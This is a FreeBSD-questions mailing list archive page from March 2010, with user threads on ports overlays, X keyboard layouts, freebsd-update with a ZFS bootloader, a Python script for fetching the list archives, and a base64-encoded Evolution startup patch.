Ports overlay

2010-03-07 Thread CyberLeo Kitsana
Hi!

By necessity and convenience, I have developed a series of additions and
changes to the ports tree. These changes are probably not worthy of
inclusion into the official tree, so I'm looking to maintain an overlay,
of sorts, in the spirit of Gentoo's overlay capability.

Is there an official method of hooking changes into a ports tree, while
maintaining the ability to csup or portsnap the unmodified version? How
do others tackle this particular problem?

Thanks!

-- 
Fuzzy love,
-CyberLeo
Technical Administrator
CyberLeo.Net Webhosting
http://www.CyberLeo.Net
cyber...@cyberleo.net

Furry Peace! - http://.fur.com/peace/
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Ports overlay

2010-03-07 Thread Erik Trulsson
On Sun, Mar 07, 2010 at 02:45:41AM -0600, CyberLeo Kitsana wrote:
 Hi!
 
 By necessity and convenience, I have developed a series of additions and
 changes to the ports tree. These changes are probably not worthy of
 inclusion into the official tree, so I'm looking to maintain an overlay,
 of sorts, in the spirit of Gentoo's overlay capability.
 
 Is there an official method of hooking changes into a ports tree, while
 maintaining the ability to csup or portsnap the unmodified version? How
 do others tackle this particular problem?

I don't know if there is any official method, but the method I use to
keep local changes in the ports tree is as follows:
I use cvsup to maintain a local copy of the whole repository, and then
use cvs to checkout/update the ports tree from that copy of the
repository. cvs knows how to detect and keep local changes.
The disadvantage of this method is that updating the ports tree will be
slower. The advantage is much increased flexibility in maintaining
local changes or checking the history of any file.



-- 
Insert your favourite quote here.
Erik Trulsson
ertr1...@student.uu.se
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Ports overlay

2010-03-07 Thread Matthew Seaman
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 07/03/2010 08:45:41, CyberLeo Kitsana wrote:

 By necessity and convenience, I have developed a series of additions and
 changes to the ports tree. These changes are probably not worthy of
 inclusion into the official tree, so I'm looking to maintain an overlay,
 of sorts, in the spirit of Gentoo's overlay capability.
 
 Is there an official method of hooking changes into a ports tree, while
 maintaining the ability to csup or portsnap the unmodified version? How
 do others tackle this particular problem?

Yes, you can add your own local ports or even whole categories of local
ports without too much difficulty.  You can even add some tweaks to an
existing port -- you don't have complete freedom to do anything there,
but you can do quite a lot.

If you create a Makefile.local at any level in the ports tree it will be
included alongside the usual Makefile.  This means you can override a
lot of the available settings at will.

So, if you create /usr/ports/Makefile.local

with the contents:

SUBDIR+=myports

then you can create a directory /usr/ports/myports and put your own
ports inside it -- you'll need a /usr/ports/myports/Makefile just like
the other category directories.

Similarly, if you prefer to mix your own stuff more intimately with the
rest of the ports tree, you could create /usr/ports/devel/Makefile.local
with the contents:

SUBDIR+=myfunkyport
SUBDIR+=myotherport

and then create /usr/ports/devel/{myfunkyport,myotherport}

Finally, you can put a Makefile.local into a port directory, and use it
to override settings specific to that port.  This is probably not very
useful except in limited circumstances.  Another handy thing to do is
create eg. file/patch-foo to contain local patches against the upstream
sources.

Makefile.local is intended for local customizations like this, but there
are also Makefile.inc and Makefile.${ARCH}, Makefile.${OPSYS},
Makefile.${OPSYS}-${ARCH} which will similarly be automatically included
if present (and if the ARCH and OPSYS settings match.)

Now, all of this is at risk of clashing with future updates to the ports
tree -- you're going to have to maintain it yourself, and cope with
ports being deleted or moved around.  Creating your own separate
category as shown first will give you the best separation and probably
the least maintenance hassles.

If you want to modify an existing port, probably the best approach is to
create your own slave port -- see the docco on MASTERDIR in the Porter's
Handbook and look at eg. games/freeciv-nox11 for about the simplest
possible example.  It's not fool proof -- some modifications will always
need support in the master port's Makefile, but there's a lot you can do
without that.

Because this entails inserting files into the ports tree, you need to
take some thought as to how to avoid wiping out your changes when
updating the ports tree.  Extra files are generally ignored by csup(1),
but portsnap(1) will blow them away.  You could get creative using
unionfs (see mount_unionfs(8)) or you could go for the option of
maintaining a local CVS repository with your mods on a separate branch.

Cheers,

Matthew

- -- 
Dr Matthew J Seaman MA, D.Phil.   7 Priory Courtyard
  Flat 3
PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate
  Kent, CT11 9PW
-BEGIN PGP SIGNATURE-
Version: GnuPG/MacGPG2 v2.0.14 (Darwin)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEYEARECAAYFAkuTdiIACgkQ8Mjk52CukIwZywCfWlIIgmGwv0XFlL5DUKVkBUHj
eUcAnitEuL17dXeH7EHqnX0TjXEQqPGX
=gZy6
-END PGP SIGNATURE-
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Introduction

2010-03-07 Thread Niki Kovacs

Hi,

I'm an Austrian sysadmin living in Montpezat (South France). I'm 100% 
GNU/Linux since 2001, I started out with Slackware 7.1, then after a few 
years of using Slackware and Debian, I moved to CentOS in 2006, a clone 
of Red Hat Enterprise Linux. I'm running a one-man computer company 
(Microlinux: http://www.microlinux.fr) spezialized in computer solutions 
based on GNU/Linux and FOSS.


Up until now, I never gave FreeBSD a try, but sometimes I used to 
stumble over the documentation, and I always thought: heck, this is how 
an operating system should be documented. I even went so far as to be 
almost jealous of the handbook, and wishing there was something similar 
for Linux (so I went and even wrote one: http://tinyurl.com/no254g)


But a few days ago I decided to take the plunge. No, not migrate all my 
machines to FreeBSD. But I have two old NEC PowerMates in my office, for 
teaching and testing purposes, and I decided to download FreeBSD 8.0, do 
a lot of RTFM and just play with it and see if I can make it do all the 
things I'm doing with Linux (and maybe more). More recently, I've been 
attracted by the more centralized (and way less chaotic) development 
model of FreeBSD.


So far, after reading chapters 1 to 5 from the fine Handbook, I managed 
to install FreeBSD, configure X11 and install XFCE. This all raised a 
few questions, so I thought my next move would be to say hello in this 
list and ask my questions here, very soon.


Cheers from the freezing South of France,

Niki Kovacs
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Configure X: multiple keyboard layouts ?

2010-03-07 Thread Niki Kovacs

Hi,

I'd like to configure X for multiple keyboard layouts, e. g.:

- french
- swiss french
- german

On my Linux box (running CentOS 5.4 and a dated version of X.org), the 
configuration for this looks like this :


Section InputDevice
  Identifier  Keyboard0
  Driver  kbd
  Option  XkbModel pc105
  Option  XkbLayout fr,ch,de
  Option  XkbVariant ,fr,
  Option  XkbOptions grp:alt_shift_toggle
EndSection

This stanza enables me to toggle between different keyboard layouts, 
using the [Alt]+[RightShift] key combination. You might wonder about the 
XkbVariant option: the swiss keyboard layout has two variants: fr and 
de. This is to indicate the swiss roman layout.


Now is there any way I could achieve a similar thing with the more 
recent X.org shipping with FreeBSD 8.0 ?


Any suggestions ?

Niki Kovacs
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Flash viewer for FBSD

2010-03-07 Thread Eitan Adler
On Sat, Mar 6, 2010 at 1:07 PM, C. P. Ghost cpgh...@cordula.ws wrote:
 On Sat, Mar 6, 2010 at 9:25 AM, Polytropon free...@edvax.de wrote:
 On Sat, 6 Mar 2010 09:03:58 +0100, Sabine Baer bae...@t-online.de wrote:
 Well, it is, indeed. Me I am very glad beeing able to do eg
 linux-opera -display :0 http://www.youtube.com/watch?v=bhmf4l4OxNw
 since I live in a Windows free zone at home.

 Well, there's always youtube-dl -a for that. Just for YT
 I don't need Flash.

 That's true. I love youtube-dl too, as it helps me keep a local
 .flv copy, even for videos that have been removed for one reason
 or another.

 However, there are other video sites like dailymotion. What
 downloader do you use for these?

 And remember, youtube-dl is a hack. It can break anytime
 YT changes its embedding. I wished YouTube would switch
 to HTML5, or at least added this as an option.

They do
http://www.youtube.com/html5
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: mailing list archive as mbox

2010-03-07 Thread Alexander Best
Dan Nelson schrieb am 2010-03-07:
 In the last episode (Mar 07), Alexander Best said:
  hi there,

  what are the steps i need to perform to get a copy of the entire
  mailingslist
  archive of lets say freebsd-current@ in mbox format?

 Go to ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/
 where you
 can download weekly gzipped archives of all the mailing lists since
 their
 creation.

thanks for the hint, but it would take hours to download all those gzipped
files, extract them and merge them.

i really need ALL the messages of a mailinglist. of course i could use the
gzipped files you mentioned if i had some script for downloading extracting
and merging all those files for me.

alex
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Updating ports was Flash viewer for FBSD

2010-03-07 Thread Jerry
On Sun, 7 Mar 2010 14:29:57 +0700
Pongthep Kulkrisada ptkris...@gmail.com articulated:

  Programs like portmaster can be really helpful here.  
 Yes, it is what I am expecting. Thank you.
 I read the handbook. There are 2 choices i.e. portmanager and
 portmaster. I am now thinking which one is better.
 I must also check time and disk space required to build all these
 ports.

Personally, I prefer portmanager. I would suggest that you empty your
/usr/ports/distfiles directory entirely. If you have java installed,
download the source files needed to build it and place them in the that
directory. Update your entire ports tree and then run:

portmanager -u -l -y -f

That will rebuild your entire ports system in the correct order.
Depending on the speed of your system and number of ports installed,
that might take a day, give or take a few hours. I would shutdown 'X'
prior to doing the update also. When done, reboot and all should be
well. I have done it before with great success.

BTW, you might also want to set: BATCH=yes sans quotation marks in
your /etc/make.conf file. It will eliminate those pesky pop-up
messages concerning configuring the port(s).

-- 
Jerry
ges...@yahoo.com

|===
|===
|===
|===
|
If you lose a son you can always get another,
but there's only one Maltese Falcon.

Sidney Greenstreet, The Maltese Falcon

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


freebsd-update on a 8.0 rootzfs system

2010-03-07 Thread Dan Naumov
Hello folks

I have a 8.0 system that uses zfsroot and gptzfsboot. It uses the
GENERIC kernel and the only thing that had to be manually recompiled
is obviously the bootloader, to enable zfs boot support, other then
that, the system is using stock 8.0 binaries. Since fully rebuilding
world and kernel on this system is a 5 hour process, I would very much
like to use freebsd-update and I wanted someone to clarify the
utility's behaviour. If I run freebsd-update on this system, what will
it do when it detects that the bootloader binaries do not match those
of stock 8.0-RELEASE? Will it:

1) Ignore the changed/recompiled bootloader files completely, only
updating the binaries whose checksums it can recognize. This behaviour
is alright for updating within 8.0, updating for release errata, but
would cause some problems updating to 8.1 and further, since 8.1 will
have zfs capable bootloader by default and having freebsd-update
always completely ignore a system component that has once been
recompiled sounds a bit silly.

2) Happily update the system, overwrite my custom compiled bootloader,
forcing me to manually rebuild the bootloader again before I reboot
the system. This I guess would actually be the desired behaviour.


- Sincerely,
Dan Naumov
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: freebsd-update on a 8.0 rootzfs system

2010-03-07 Thread krad
On 7 March 2010 11:57, Dan Naumov dan.nau...@gmail.com wrote:

 Hello folks

 I have a 8.0 system that uses zfsroot and gptzfsboot. It uses the
 GENERIC kernel and the only thing that had to be manually recompiled
 is obviously the bootloader, to enable zfs boot support, other then
 that, the system is using stock 8.0 binaries. Since fully rebuilding
 world and kernel on this system is a 5 hour process, I would very much
 like to use freebsd-update and I wanted someone to clarify the
 utility's behaviour. If I run freebsd-update on this system, what will
 it do when it detects that the bootloader binaries do not match those
 of stock 8.0-RELEASE? Will it:

 1) Ignore the changed/recompiled bootloader files completely, only
 updating the binaries whose checksums it can recognize. This behaviour
 is alright for updating within 8.0, updating for release errata, but
 would cause some problems updating to 8.1 and further, since 8.1 will
 have zfs capable bootloader by default and having freebsd-update
 always completely ignore a system component that has once been
 recompiled sounds a bit silly.

 2) Happily update the system, overwrite my custom compiled bootloader,
 forcing me to manually rebuild the bootloader again before I reboot
 the system. This I guess would actually be the desired behaviour.


 - Sincerely,
 Dan Naumov
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to 
 freebsd-questions-unsubscr...@freebsd.org



why dont you just cron a make update, buildworld, and build kernel, every
night, or week? You always have a system ready for installation whenever you
want it, irrelevant how long it takes to build.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: mailing list archive as mbox

2010-03-07 Thread Giorgos Keramidas
On Sun, 07 Mar 2010 12:08:32 +0100 (CET), Alexander Best alexbes...@wwu.de 
wrote:
 Dan Nelson schrieb am 2010-03-07:
 In the last episode (Mar 07), Alexander Best said:
  hi there,

  what are the steps i need to perform to get a copy of the entire
  mailingslist
  archive of lets say freebsd-current@ in mbox format?

 Go to ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/
 where you
 can download weekly gzipped archives of all the mailing lists since
 their
 creation.

 thanks for the hint, but it would take hours to download all those gzipped
 files, extract them and merge them.

 i really need ALL the messages of a mailinglist. of course i could use the
 gzipped files you mentioned if i had some script for downloading extracting
 and merging all those files for me.

It's relatively easy to hack one.

You can get a list of year names from the /archive/ directory itself
with curl(1) and a small amount of Python plumbing around curl:

 from subprocess import Popen as popen, PIPE
 import re
 yre = re.compile('^d.*\s(\d+)$')
 devnull = file(/dev/null)
 def years():
... curl = curl -o /dev/stdout 
ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/;
... ylist = []
... for line in popen(curl, shell=True, stdout=PIPE, 
stderr=devnull).stdout.readlines():
... m = yre.match(line)
... if m:
... ylist.append(int(m.group(1)))
... return ylist
...
 years()
[1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005,
 2006, 2007, 2008, 2009, 2010]

Then you can grab a list of the freebsd-current archives by looping
through the list of years and looking for the list of files that match
the pattern:


ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/{year}/freebsd-current/(\d+.freebsd-current.gz)

Using a pipe to parse the output of curl you can collect a list of all
the files that match this pattern, e.g.:

 def yearfiles(year):
... base = 
ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/%4d/freebsd-current;
 % year
... curl = curl -o /dev/stdout %s/ % base
... flist = []
... fre = re.compile(r'^.*\D(\d+.freebsd-current.gz).*$')
... for line in popen(curl, shell=True, stdout=PIPE, 
stderr=devnull).stdout.readlines():
... m = fre.match(line)
... if m:
... flist.append(%s/%s % (base, m.group(1)))
... return flist
...
 yearfiles(1994)
[]
 yearfiles(1995)

['ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/1.freebsd-current.gz',
 ...]

Concatenating the file lists of all years and fetching each one of them
with curl is then trivial:

 ylist = years()
 ylist
[1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 
2006, 2007, 2008, 2009, 2010]
 flist = []
 for y in ylist:
... f = yearfiles(y)
... flist = flist + f
...
 len(flist)
785

Once you have the list of all the remote gzipped files, you can loop
through the list of files once more and fetch them locally.  I'm only
going to fetch the first two files here, but feel free to fetch all of
them in your version of the script:

 flist = flist[:2]
 flist

['ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz',
 
'ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz']


 from subprocess import call
 def getfile(url):
... out = os.path.basename(url)
... retcode = call([curl, -o, out, url], stderr=devnull)
... if retcode == 0:
... print fetched %s % url
... return tuple([url, out, retcode])
...
 map(getfile, flist)
fetched 
ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz
fetched 
ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz
...

[('ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz',
 '19950101.freebsd-current.gz', 0),
 
('ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz',
 '19950226.freebsd-current.gz', 0)]


A slightly hackish script that collects all this to a more usable whole
but lacks LOTS of error checking is the following:

#!/usr/bin/env python

from subprocess import call, Popen as popen, PIPE
import os
import re
import sys

devnull = file(/dev/null)
yre = re.compile('^d.*\s(\d+)$')
fre = re.compile(r'^.*\D(\d+.freebsd-current.gz).*$')

def years():
curl = curl -o /dev/stdout 
ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/;
ylist = []
for line in popen(curl, shell=True, 

HTML5 under FreeBSD Desktop

2010-03-07 Thread Byung-Hee HWANG
Is it possible? I really want to see YouTube Video in FreeBSD
Desktop. So HTML5 support of YouTube [1] is good news to me. 

Currently i'm on FreeBSD 8.0-RELEASE ;;

Sincerely,

[1] http://www.youtube.com/html5/
 
-- 
소여물 황병희(黃炳熙) | .. 출항 15분전..

Then why do you come to me? How have I deserved your generosity?
I need two million dollars cash. Equally important, I need a man who has
powerful friends in the important places.
-- Vito Corleone and Virgil Sollozzo, Chapter 2, page 73
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: freebsd-update on a 8.0 rootzfs system

2010-03-07 Thread Dan Naumov
On Sun, Mar 7, 2010 at 1:57 PM, Dan Naumov dan.nau...@gmail.com wrote:
 Hello folks

 I have a 8.0 system that uses zfsroot and gptzfsboot. It uses the
 GENERIC kernel and the only thing that had to be manually recompiled
 is obviously the bootloader, to enable zfs boot support, other then
 that, the system is using stock 8.0 binaries. Since fully rebuilding
 world and kernel on this system is a 5 hour process, I would very much
 like to use freebsd-update and I wanted someone to clarify the
 utility's behaviour. If I run freebsd-update on this system, what will
 it do when it detects that the bootloader binaries do not match those
 of stock 8.0-RELEASE? Will it:

 1) Ignore the changed/recompiled bootloader files completely, only
 updating the binaries whose checksums it can recognize. This behaviour
 is alright for updating within 8.0, updating for release errata, but
 would cause some problems updating to 8.1 and further, since 8.1 will
 have zfs capable bootloader by default and having freebsd-update
 always completely ignore a system component that has once been
 recompiled sounds a bit silly.

 2) Happily update the system, overwrite my custom compiled bootloader,
 forcing me to manually rebuild the bootloader again before I reboot
 the system. This I guess would actually be the desired behaviour

OK, I did a testrun of this in a VM environment and #1 is what
happens. I tried freebsd-update IDS first and that showed that
/boot/loader SHA256 does not match what is expected, I then applied
the updates, but it ignored my custom /boot/loader anyway and didn't
touch it despite the mismatch. Why?

My biggest concern is what does this mean going forward, when the
eventual time for upgrading to 8.1 and 8.2 comes. 8.1 definately has a
changed bootloader. Does the current behaviour mean that when I
upgrade to 8.1, it will still refuse to update the bootloader and will
refuse to update it forever or will it actually update whatever is
given to 8.1, which would be the desired behaviour?

- Sincerely,
Dan Naumov
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


KDE firefox integration

2010-03-07 Thread Anselm Strauss
Hi,

I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. Anybody 
knows how to achieve this on FreeBSD 8?

Anselm
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Updating ports was Flash viewer for FBSD

2010-03-07 Thread Robert Huff

Polytropon writes:

   I am now thinking which one is better.
  
  I have used portupgrade / portinstall in the past, but I think
  portmaster really is the way to go, at least for me,

As far as I can tell, for 90-95% of tasks they're
indistinguishable.  If (generic) you have special needs - ugdating a
large user base, extensive local patches, or a non-standard set of 
dependencies - then you're going to have to do the research and test
them for yourself.
And instructions for using portmaster are increasingly common
in /usr/ports/UPDATING.


Robert Huff




___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: KDE firefox integration

2010-03-07 Thread Elias Chrysoheris
On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote:
 Hi,
 
 I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. Anybody
 knows how to achieve this on FreeBSD 8?
 
 Anselm
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to
  freebsd-questions-unsubscr...@freebsd.org
 

I believe you mean that you need KDE to open Firefox whenever you click on a 
link. That's easy. From your KDE menu, open System Settings (in the first 
tab, favorites)
Then select Default Applications. Then, in the left list of the 
applications, choose Web browser, and at the right part of the screen choose 
the radio button in the following browser and in the edit box enter the 
/usr/local/bin/firefox3. Then apply the new settings.

Elias
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


EVOLUTION a, slow start, SOLVED

2010-03-07 Thread Sergio de Almeida Lenzi
Hello all..   

Finallly I got the problem with evolution  on FreeBSD solved.

Happens that evolution is very slow, on startup, and consumes an HUGE
amount
of CPU (system), on startup, making it almost unuseable for multi user
systems...

The problem is that some plugins  did not offer the startup entries
that gnome (glib) wants. so FreeBSD tries to resolv the entry using
dlsym(...)
and search the entire user address space for that...

a simple patch  for the plugins and e-util/e-plugin.c module solved
the problem
and now evolution starts in 3 seconds...

follow is the base64 encode of the patch
to use, save the patch, say: evolution.fix
extract with b64decode evolution.fix,   move the file
to: /usr/ports/mail/evolution/files,
build evolution with:  cd /usr/ports/mail/evolution;make reinstall


*cut*
begin-base64 644 patch-plugins
LS0tIHBsdWdpbnMvZ3JvdXB3aXNlLWFjY291bnQtc2V0dXAvZ3JvdXB3aXNlLWFjY291bnQtc2V0
dXAuYy5vcmlnCTIwMDktMTItMTQgMDM6NTY6MDEuMDAwMDAwMDAwIC0wMjAwCisrKyBwbHVnaW5z
L2dyb3Vwd2lzZS1hY2NvdW50LXNldHVwL2dyb3Vwd2lzZS1hY2NvdW50LXNldHVwLmMJMjAxMC0w
My0wNyAwMTozOTo1MC42OTEwNDk2MDAgLTAzMDAKQEAgLTEzNiwzICsxMzYsMTEgQEAKIAogCXJl
dHVybiBOVUxMOwogfQorCitjaGFyICpnX21vZHVsZV9jaGVja19pbml0KCkgeworCWdfd2Fybmlu
ZygiJXMgIG9uICVzXG4iLF9fRlVOQ1RJT05fXyxfX0ZJTEVfXyk7cmV0dXJuIE5VTEw7Cit9CisK
K2NoYXIgKmdfbW9kdWxlX3VubG9hZCAoKSB7CisJZ193YXJuaW5nKCIlcyAgb24gJXNcbiIsX19G
VU5DVElPTl9fLF9fRklMRV9fKTtyZXR1cm4gTlVMTDsKK30KLS0tIHBsdWdpbnMvcHN0LWltcG9y
dC9wc3QtaW1wb3J0ZXIuYy5vcmlnCTIwMDktMTItMTQgMDM6NTY6MDEuMDAwMDAwMDAwIC0wMjAw
CisrKyBwbHVnaW5zL3BzdC1pbXBvcnQvcHN0LWltcG9ydGVyLmMJMjAxMC0wMy0wNiAyMjoyNDox
My4xMzEzODMyNzkgLTAzMDAKQEAgLTE3MzksMyArMTczOSwxNiBAQAogCiAJcmV0dXJuIHJvb3Ru
YW1lOwogfQorCitjaGFyICpnX21vZHVsZV9jaGVja19pbml0KCkgeworCWdfd2FybmluZygiJXMg
IG9uICVzXG4iLF9fRlVOQ1RJT05fXyxfX0ZJTEVfXyk7cmV0dXJuIE5VTEw7Cit9CisKK2NoYXIg
KmdfbW9kdWxlX3VubG9hZCAoKSB7CisJZ193YXJuaW5nKCIlcyAgb24gJXNcbiIsX19GVU5DVElP
Tl9fLF9fRklMRV9fKTtyZXR1cm4gTlVMTDsKK30KKwordm9pZCAqZV9wbHVnaW5fbGliX2VuYWJs
ZSgpIHsKKwlnX3dhcm5pbmcoIiVzIG9uICVzXG4iLF9fRlVOQ1RJT05fXywgX19GSUxFX18pOwor
CXJldHVybiBOVUxMOworfQotLS0gcGx1Z2lucy9iYmRiL2JiZGIuYy5vcmlnCTIwMDktMTItMTQg
MDM6NTY6MDEuMDAwMDAwMDAwIC0wMjAwCisrKyBwbHVnaW5zL2JiZGIvYmJkYi5jCTIwMTAtMDMt
MDcgMDI6MDM6MTIuMTU0NjQ1NjcxIC0wMzAwCkBAIC03MTYsMyArNzE2LDExIEBACiAJZ19vYmpl
Y3RfdW5yZWYgKHN0dWZmLT5zb3VyY2VfbGlzdCk7CiAJZ19mcmVlIChzdHVmZik7CiB9CisKK2No
YXIgKmdfbW9kdWxlX2NoZWNrX2luaXQoKSB7CisJZ193YXJuaW5nKCIlcyAgb24gJXNcbiIsX19G
VU5DVElPTl9fLF9fRklMRV9fKTtyZXR1cm4gTlVMTDsKK30KKworY2hhciAqZ19tb2R1bGVfdW5s
b2FkICgpIHsKKwlnX3dhcm5pbmcoIiVzICBvbiAlc1xuIixfX0ZVTkNUSU9OX18sX19GSUxFX18p
O3JldHVybiBOVUxMOworfQotLS0gcGx1Z2lucy9wdWJsaXNoLWNhbGVuZGFyL3B1Ymxpc2gtY2Fs
ZW5kYXIuYy5vcmlnCTIwMDktMTItMTQgMDM6NTY6MDEuMDAwMDAwMDAwIC0wMjAwCisrKyBwbHVn
aW5zL3B1Ymxpc2gtY2FsZW5kYXIvcHVibGlzaC1jYWxlbmRhci5jCTIwMTAtMDMtMDcgMDE6NTE6
MDEuMDczOTczNDA3IC0wMzAwCkBAIC05MjksMyArOTI5LDExIEBACiAJCWVycm9yX3F1ZXVlX3No
b3dfaWRsZV9pZCA9IGdfaWRsZV9hZGQgKGVycm9yX3F1ZXVlX3Nob3dfaWRsZSwgTlVMTCk7CiAJ
Z19zdGF0aWNfbXV0ZXhfdW5sb2NrICgmZXJyb3JfcXVldWVfbG9jayk7CiB9CisKK2NoYXIgKmdf
bW9kdWxlX2NoZWNrX2luaXQoKSB7CisJZ193YXJuaW5nKCIlcyAgb24gJXNcbiIsX19GVU5DVElP
Tl9fLF9fRklMRV9fKTtyZXR1cm4gTlVMTDsKK30KKworY2hhciAqZ19tb2R1bGVfdW5sb2FkICgp
IHsKKwlnX3dhcm5pbmcoIiVzICBvbiAlc1xuIixfX0ZVTkNUSU9OX18sX19GSUxFX18pO3JldHVy
biBOVUxMOworfQotLS0gcGx1Z2lucy9jYWxkYXYvY2FsZGF2LXNvdXJjZS5jLm9yaWcJMjAwOS0x
Mi0xNCAwMzo1NjowMS4wMDAwMDAwMDAgLTAyMDAKKysrIHBsdWdpbnMvY2FsZGF2L2NhbGRhdi1z
b3VyY2UuYwkyMDEwLTAzLTA3IDAxOjUyOjE1LjM1ODY2Mjk0MiAtMDMwMApAQCAtNDYyLDMgKzQ2
MiwxMSBAQAogCXJldHVybiB3aWRnZXQ7CiB9CiAKKworY2hhciAqZ19tb2R1bGVfY2hlY2tfaW5p
dCgpIHsKKwlnX3dhcm5pbmcoIiVzICBvbiAlc1xuIixfX0ZVTkNUSU9OX18sX19GSUxFX18pO3Jl
dHVybiBOVUxMOworfQorCitjaGFyICpnX21vZHVsZV91bmxvYWQgKCkgeworCWdfd2FybmluZygi
JXMgIG9uICVzXG4iLF9fRlVOQ1RJT05fXyxfX0ZJTEVfXyk7cmV0dXJuIE5VTEw7Cit9Ci0tLSBw
bHVnaW5zL2dvb2dsZS1hY2NvdW50LXNldHVwL2dvb2dsZS1zb3VyY2UuYy5vcmlnCTIwMDktMTIt
MTQgMDM6NTY6MDEuMDAwMDAwMDAwIC0wMjAwCisrKyBwbHVnaW5zL2dvb2dsZS1hY2NvdW50LXNl
dHVwL2dvb2dsZS1zb3VyY2UuYwkyMDEwLTAzLTA3IDAxOjU0OjQwLjU3NzU0NjM0NyAtMDMwMApA
QCAtODM2LDMgKzgzNiwxMSBAQAogCWlmIChjaGFuZ2VkKQogCQllX3NvdXJjZV9saXN0X3N5bmMg
KHNvdXJjZV9saXN0LCBOVUxMKTsKIH0KKworY2hhciAqZ19tb2R1bGVfY2hlY2tfaW5pdCgpIHsK
KwlnX3dhcm5pbmcoIiVzICBvbiAlc1xuIixfX0ZVTkNUSU9OX18sX19GSUxFX18pO3JldHVybiBO
VUxMOworfQorCitjaGFyICpnX21vZHVsZV91bmxvYWQgKCkgeworCWdfd2FybmluZygiJXMgIG9u
ICVzXG4iLF9fRlVOQ1RJT05fXyxfX0ZJTEVfXyk7cmV0dXJuIE5VTEw7Cit9Ci0tLSBwbHVnaW5z
L2F0dGFjaG1lbnQtcmVtaW5kZXIvYXR0YWNobWVudC1yZW1pbmRlci5jLm9yaWcJMjAwOS0xMi0x
NCAwMzo1NjowMS4wMDAwMDAwMDAgLTAyMDAKKysrIHBsdWdpbnMvYXR0YWNobWVudC1yZW1pbmRl
ci9hdHRhY2htZW50LXJlbWluZGVyLmMJMjAxMC0wMy0wNyAwMjoyMToyMi4yOTQ2NDQ0NzAgLTAz
MDAKQEAgLTUzNCwzICs1MzQsMTEgQEAKIAogfQogCisKK2NoYXIgKmdfbW9kdWxlX2NoZWNrX2lu
aXQoKSB7CisJZ193YXJuaW5nKCIlcyAgb24gJXNcbiIsX19GVU5DVElPTl9fLF9fRklMRV9fKTty

Re: KDE firefox integration

